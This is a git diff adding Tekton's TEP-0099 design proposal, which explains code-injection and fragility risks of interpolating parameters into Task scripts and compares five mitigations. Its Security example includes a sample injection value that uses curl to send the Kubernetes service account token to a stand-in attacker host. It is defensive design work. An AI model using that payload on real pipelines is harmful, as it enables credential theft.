diff --git a/teps/0099-parameters-in-script.md b/teps/0099-parameters-in-script.md new file mode 100644 index 000000000..5e214670d --- /dev/null +++ b/teps/0099-parameters-in-script.md @@ -0,0 +1,479 @@ +--- +status: proposed +title: Parameters in Script +creation-date: '2021-01-05' +last-updated: '2021-01-05' +authors: +- '@jerop' +- '@sbwsg' +--- + +# TEP-0099: `Parameters` in `Script` + + +- [Summary](#summary) +- [Motivation](#motivation) + - [Security](#security) + - [Example](#example) + - [Reliability](#reliability) + - [Example](#example-1) + - [Goals](#goals) + - [Use Case](#use-case) + - [Requirements](#requirements) +- [Alternatives](#alternatives) + - [1. Implicitly Project Parameters as Environment Variables in Steps](#1-implicitly-project--as-environment-variables-in-) + - [Discussion](#discussion) + - [2. Implicitly Project Parameters into the Filesystem of Steps](#2-implicitly-project--into-the-filesystem-of-) + - [Discussion](#discussion-1) + - [3. Provide an Escaped Form of Parameters as Tekton Variables for Injection](#3-provide-an-escaped-form-of--as-tekton-variables-for-injection) + - [Discussion](#discussion-2) + - [4. Reject Parameters in Script and provide instructions to fix](#4-reject--in--and-provide-instructions-to-fix) + - [Discussion](#discussion-3) + - [5. Optionally Project Parameters as Environment Variables in Steps](#5-optionally-project--as-environment-variables-in-) + - [Discussion](#discussion-4) +- [Open Questions](#open-questions) +- [References](#references) + + +This TEP builds on the prior work of many contributors, including but not limited to: + +* @bobcatfish +* @coryrc +* @imjasonh +* @mogsie +* @popcor255 +* @skaegi + +## Summary + +Using `Parameter` variables directly in `script` blocks in `Tasks` is a footgun +in two ways: +- **Security**: It is easy for a `Task` _author_ to accidentally introduce a vector + for code injection and, by contrast, difficult for a `Task` _user_ to verify that + such an injection can't or hasn't taken place. +- **Reliability**: It is easy for a `Task` _user_ to accidentally pass in a `Parameter` + with a character that would make the `Script` invalid and fail the `Task`, making + the `Task` extremely fragile. + +To solve the above problems, this TEP aims to: +- Introduce a safe and reliable way to access `Parameter` variables from `Scripts`, + and update the documentation and *Tekton Catalog* with the new approach. +- Disallow use of `Parameter` variables directly in `script` blocks of `Steps` in + *Tekton Pipelines V1 API*. + +## Motivation + +*Tekton Pipelines* provides variables used to inject values into the contents of certain +fields, including `Scripts`. The values you can inject come from a range of sources, +including `Parameters`. Interpolating `Parameters` in `Script` presents two main challenges: +**Security** and **Reliability**. In this section, we provide the background information and +expound on the challenges users face when interpolating `Parameters` in `Scripts`. + +As [documented][params-vars-docs], this is the syntax of `Parameter` interpolation, +where `` is the name of the `Parameter`: + +```yaml +# dot notation +$(params.) +# or bracket notation (wrapping with either single or double quotes): +$(params['']) +$(params[""]) +``` + +The mechanism of variable substitution is a string replacement that's performed by the +*Tekton Controller* when a `TaskRun` is executed. + +Common examples of user-generated input that could be passed via `Parameter` and +interpolated in a `Script` include: +* Commit messages +* Pull request descriptions and comments +* Image names or registry URLs +* Project or test suites names +* Paths into `Workspaces` + +Tekton's own use of `Parameter` variables has evolved to avoid placing them +directly in `Scripts`: +1. Migrated our plumbing repository from using `Parameters` directly + (e.g.`$(params.foo)`) in `Script` to passing them in through environment variables + (e.g. `${FOO}`). This was a precaution against possible code injections to our + continuous integration: + * [plumbing-pr-973] + * [plumbing-pr-974] + * [plumbing-pr-975] + * [plumbing-pr-976] + * [plumbing-pr-977] +2. [Migrated][catalog-pr-711] the `git-clone` Catalog `Task` to use environment variables + instead of direct `Parameter` injection and, in doing so, made a backwards incompatible + change to it. +3. Host [guidance in the *Tekton Catalog*][catalog-recommendation] warning against + `Parameters` in `Scripts`. + +Given that we have recognized a flaw in our own usage, it bears exploring whether +this means there are flaws in the tool itself that allow this to occur. The flaws +were previously discussed in [TEP-0017][tep-0017], but we pushed back deciding on +a solution in favor of documenting the existing workarounds. It is time to revisit +the problem and explore a solution considering our: +1. Move towards V1 - decide on path forward ahead of stabilizing the API +1. Change in usage of `Parameters` in `Script` in dogfooding +1. Focus on security, including leaning into secure by default + +The security and reliability challenges faced are further discussed in: +* [TEP-0017][tep-0017] +* [pipeline-issue-3226] +* [triggers-issue-675] + +### Security + +It is easy for a `Task` _author_ to accidentally introduce a vector for code +injection and, by contrast, difficult for a `Task` _user_ to verify that such +an injection can't or hasn't taken place. + +To audit whether a `Task` is at risk of code injection, a user would need +to determine two things: first whether that `Task` includes a `Parameter` +directly referenced from a `Script` and, if it does, whether that ` +Parameter` was ever populated using untrusted input. + +To determine if a `Parameter` could have been populated by untrusted input +the user would need to: +1. read the `Task` +1. read all `Pipelines`, `PipelineRuns` and `Trigger Templates` that + reference the `Task` +3. trace the values passed to that `Parameter` via those resources + back to their original source +5. determine if that source could have been user-generated + +One security risk is that an attacker can exfiltrate sensitive data, as shown in the +example below. We need to lean into being secure by default to prevent such attacks. + +##### Example + +A `Task` with a `Step` *foo* interpolates `Parameter` *bar* in its `Script`, as such: + +```yaml + steps: + - name: foo + image: myimage + script: | + echo $(params.bar) +``` + +As warned in the [recommendations][catalog-recommendation], an attacker can access the +service account token for the `TaskRun` using `Parameter` *bar* as `$(curl -s +http://attacker.example.com/?value=$(cat/var/run/secrets/kubernetes.io/serviceaccount/token))`. + +### Reliability + +The interpolation of `Parameters` in `Script` is not aware of context - it is a simple string +replacement. As such, it is easy for a `Task` _User_ to accidentally pass in a `Parameter` +with a character that would make the `Script` invalid and fail the `Task`, making the +`Task` extremely fragile. Characters that can invalidate the `Script` include a space, +a quote sign, and a newline. An example with a quote sign is demonstrated below. +For further details, read the warning in the [recommendations][catalog-recommendation]. + +##### Example + +A `Task` with a `Step` *foo* interpolates `Parameter` *bar* in its `Script`, as such: + +```yaml + steps: + - name: foo + image: myimage + script: | + echo $(params.bar) +``` + +A user can pass in `Parameter` *bar* with a single quote. The `Task` would fail because of +the unterminated quote string, instead of echoing the quote string. + +### Goals + +1. **`Tasks` should safely and reliably access `Parameter` variables from `Scripts`**. + + Replace direct interpolation with an alternative that does not put the `Parameter` + into an executable context by default. + + 1. `Tasks` in the *Tekton Catalog* should be bumped to use the safer approach. + - Given that this update would likely be backwards-incompatible, as it was in the + [`git-clone` Task update in the Catalog][catalog-pr-711], the versions of those + `Tasks` have to be bumped with this update. + - Catalog `Tasks` that leverage this pattern to intentionally inject executable code + (e.g. the `git-cli` Task [accepts a script to run as a param][git-cli]) can be updated + to execute the contents of the `Parameter` from a file or call `eval` on it explicitly. + + 1. Tekton Pipelines and Catalog documentation should be updated to the new approach. + +1. **`Tasks` should not support implicit runtime code injection**. + + Disallow interpolating `Parameter` variables directly into the body of a `Script` + by *Tekton Pipelines V1* release to be secure by default. + + +### Use Case + +As described in the [original proposal][pipeline-issue-781], the use case for `Script` +in `Tasks` is: + +> Users need an easy cruft-free way to express a multi-statement `Script` in the +> body of a `Task` `Step`, without having to understand advanced topics about +> `Containers`, like what an `entrypoint` or a `command` is. +> +> Users should only need to have passing familiarity with a shell environment +> to be successful using Tekton. + +Problems with variable subsitution was noted in [original proposal][pipeline-issue-781]: + +> How this syntax works with input substitutions, e.g., ``${inputs.params.flags}`` might +> also lead to confusion among users, which we should design for. + +Users need a way to safely and reliably substitute `Parameters` in `Scripts` in `Steps` +of their `Tasks`. This would make it easier to use Tekton without learning advanced topics, +while still using it reliably and safely. + +### Requirements + +1. **[Secure by default][secure-by-default]**: Out of the box + *Tekton Pipelines* should disallow common anti-patterns that + can render a default install insecure. +1. **Easy to use**: Whatever replaces the direct use of `$(params.X)` in + `script` should be unsurprising and memorable to ease friction in user + migration. +1. **Automatable**: A script or program should be able to convert `Tasks` + to the new approach. This might be impossible for all cases (e.g. if an + unrecognized shebang has been used in the script) but a best-effort + implementation should be provided. +1. **Backwards compatible in v1beta1**. If a user already has `Tasks` + that use `$(params.X)` syntax in `script` then we should continue supporting + that usage in v1beta1 resources. Ideally, Tekton Pipelines would warn the user + about it somehow. +1. **Backwards incompatible in v1**. Starting with v1, Tekton should strive to + be "secure by default" out of the box and so inclusion of param variables + in `script` fields should be treated as an error. Newly submitted (or resolved) + `Tasks` with this error should fail validation. Existing `Tasks` that include this + error should be prevented from executing. +1. **Provide an escape hatch in v1**. If an operator decides that they want to + continue allowing `Parameter` variables to be directly injectable to `script` + fields of `Steps` there should be some way for them to configure that. + +## Alternatives + +### 1. Implicitly Project `Parameters` as Environment Variables in `Steps` + +We have projected `Parameters` as environment variables in the `git-clone` Task in the +Catalog and in our own plumbing repository. We can use this approach, and simplify the +syntax by implicitly projecting `Parameters` as environment variables in `Steps`. +The environment variable should be prefixed with `PARAM_` to make it clear and predictable. + +```yaml + # Before + steps: + - name: foo + image: myimage + script: | + echo $(params.bar) + + # After + steps: + - name: foo + image: myimage + script: | + echo ${PARAM_BAR} + + # After - Resolved + steps: + - name: foo + image: myimage + env: + - name: PARAM_BAR + value: $(params.bar) + script: | + echo ${PARAM_BAR} +``` + +##### Discussion + +This approach mutates the specification, but it is something we're already doing +with implicit `Parameters` per [TEP-0023][tep-0023]. + +### 2. Implicitly Project `Parameters` into the Filesystem of `Steps` + +Write `Parameters` in files - `/tekton/parameters/in` - mounted into `Steps` +in the same way that `Results` are supplied. However, instead of exposing the +file path, we would hide it behind a variable (possibly reusing `$(params.)`. + + +```yaml + # Before + steps: + - name: foo + image: myimage + script: | + echo $(params.bar) + + # After + steps: + - name: foo + image: myimage + script: | + echo $(params.bar) +``` + +This approach is also under discussion in the context of changing the way `Result` +values are stored in [TEP-0086][tep-0086-alt]. In that proposal a sidecar is +responsible for fetching `Results` from previous `Tasks` and writing them to +a location on disk for use as `Parameters`. + +##### Discussion + +This approach aligns well with the proposal in [TEP-0086][tep-0086-prop], and +brings consistency in how we supply both `Parameters` and `Results` to `Steps`. + +### 3. Provide an Escaped Form of `Parameters` as Tekton Variables for Injection + +This was the proposal in [TEP-0017][tep-0017]. + +> In a Task or Pipeline, for each parameter `foo`, provide `$(params.foo.shell-escaped)`. +> +> This variable shall be escaped according to `printf '%q'` rules as used in bash. +> For example, the literal string `Hello '\!"` becomes `Hello\ \'\\\!\"`. A script +> which ran `echo $(params.foo.shell-escaped)` would print the literal string. The +> escaped value would do the wrong thing when placed inside double or single quotes. + +```yaml + # Before + steps: + - name: foo + image: myimage + script: | + echo $(params.bar) + + # After + steps: + - name: foo + image: myimage + script: | + echo $(params.bar.shell-escaped) +``` + +##### Discussion + +This approach mutates the specification, but it is something we're already doing +with implicit `Parameters` per [TEP-0023][tep-0023]. + +### 4. Reject `Parameters` in `Script` and provide instructions to fix + +During validation we could detect `Parameters` used in `Script` blocks and return +a helpful message to the user that they need to rewrite their `Task` to move the +`Parameters` into environment variables. + +```yaml + # Before + steps: + - name: foo + image: myimage + script: | + echo $(params.bar) +``` + +When the Tekton Pipelines Controller sees this `Script` it rejects the `Task` submission +with an error, such as: + +``` +spec.steps[0]: params cannot be referenced from a script, consider moving +into an environment variable on the Step. +``` + +```yaml + # After + steps: + - name: foo + image: myimage + env: + - name: PARAM_BAR + value: $(params.bar) + script: | + echo ${PARAM_BAR} +``` + +##### Discussion + +Non-mutating but doesn't help the user as directly as mutating the spec. + +### 5. Optionally Project `Parameters` as Environment Variables in `Steps` + +Building on the first alternative above, another approach would be to make +the implicit projection optional, where it only applies to a subset of +`Parameters` with the suffix `env`. + +```yaml + # Before + steps: + - name: foo + image: myimage + script: | + echo $(params.bar) + + # After + steps: + - name: foo + image: myimage + script: | + echo $(params.bar.env) + + # After - Resolved + steps: + - name: foo + image: myimage + env: + - name: PARAM_BAR + value: $(params.bar) + script: | + echo ${PARAM_BAR} +``` + +##### Discussion + +This approach is flexible: provide a safer and more reliable interpolation while +still allowing code injection if needed. Even more, it is backwards compatible. +However, the string replacement in `Script` would only work for shell scripts . + +## Open Questions + +1. Is it sufficient to address `Parameters` in `Script` only, or do we need to + consider all variables that can be substituted in `Script`? +1. Which alternative do we prefer to go forward with? + +## References + +* Issues: + * [pipeline-issue-3226] + * [triggers-issue-675] +* [Catalog Guidance to Avoid Using `Parameters` in `Script` Blocks][catalog-recommendation] +* Recent changes to the *Tekton Plumbing* to remove `$(params)` syntax from `script` blocks: + * [plumbing-pr-973] + * [plumbing-pr-974] + * [plumbing-pr-975] + * [plumbing-pr-976] + * [plumbing-pr-977] +* [Change to `git-clone` Catalog Task to remove param injection][catalog-pr-711] +* Tekton Enhancement Proposals: + * [TEP-0017: Shell-Escaped Parameters][tep-0017] + * [TEP-0023: Implicit Parameters][tep-0023] + +[catalog-recommendation]: https://github.com/tektoncd/catalog/blob/main/recommendations.md#dont-use-interpolation-in-scripts-or-string-arguments +[git-cli]: https://github.com/tektoncd/catalog/blob/4f365ec668973abe3c2df87323b3b7e4bd4a614a/task/git-cli/0.3/git-cli.yaml#L137 +[catalog-pr-711]: https://github.com/tektoncd/catalog/pull/711 +[plumbing-pr-973]: https://github.com/tektoncd/plumbing/pull/973 +[plumbing-pr-974]: https://github.com/tektoncd/plumbing/pull/974 +[plumbing-pr-975]: https://github.com/tektoncd/plumbing/pull/975 +[plumbing-pr-976]: https://github.com/tektoncd/plumbing/pull/976 +[plumbing-pr-977]: https://github.com/tektoncd/plumbing/pull/977 +[secure-by-default]: https://en.wikipedia.org/wiki/Secure_by_default +[params-vars-docs]: https://github.com/tektoncd/pipeline/blob/main/docs/tasks.md#substituting-parameters-and-resources +[tep-0086-alt]: https://github.com/tektoncd/community/pull/521/files#diff-6057e05e8be034edde14ed71128372a35468e25c3f6c9809be8cc8a1e78ada94R287 +[tep-0086-prop]: https://github.com/tektoncd/community/pull/521/files#diff-6057e05e8be034edde14ed71128372a35468e25c3f6c9809be8cc8a1e78ada94R275 +[pipeline-issue-781]: https://github.com/tektoncd/pipeline/issues/781 +[tep-0017]: https://github.com/tektoncd/community/pull/208 +[tep-0023]: https://github.com/tektoncd/community/blob/main/teps/0023-implicit-mapping.md +[triggers-issue-675]: https://github.com/tektoncd/triggers/issues/675 +[pipeline-issue-3226]: https://github.com/tektoncd/pipeline/issues/3226 +[templating-doc]: https://docs.google.com/document/d/1h_3vSApIsuiwGkrqSiegi4NVaYG4oVzBquGAhIN6qGM/edit?usp=sharing diff --git a/teps/README.md b/teps/README.md index d9cf67d02..ceb22424b 100644 --- a/teps/README.md +++ b/teps/README.md @@ -232,3 +232,4 @@ This is the complete list of Tekton teps: |[TEP-0090](0090-matrix.md) | Matrix | proposed | 2021-11-08 | |[TEP-0094](0094-configuring-resources-at-runtime.md) | Configuring Resources at Runtime | proposed | 2021-11-08 | |[TEP-0096](0096-pipelines-v1-api.md) | Pipelines V1 API | proposed | 2021-12-13 | +|[TEP-0098](0099-parameters-in-script.md) | `Parameters` in `Script` | proposed | 2022-01-05 |